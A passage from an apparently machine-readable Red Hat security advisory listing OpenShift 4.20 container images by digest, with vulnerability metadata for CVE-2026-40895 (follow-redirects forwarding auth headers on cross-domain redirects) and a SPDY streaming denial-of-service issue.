"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "Kubelet: CRI-O: kube-apiserver: Kubelet, CRI-O, kube-apiserver: Denial of Service via SPDY streaming code"
},
{
"cve": "CVE-2026-40895",
"cwe": {
"id": "CWE-212",
"name": "Improper Removal of Sensitive Information Before Storage or Transfer"
},
"discovery_date": "2026-04-21T21:02:33.280553+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2460297"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
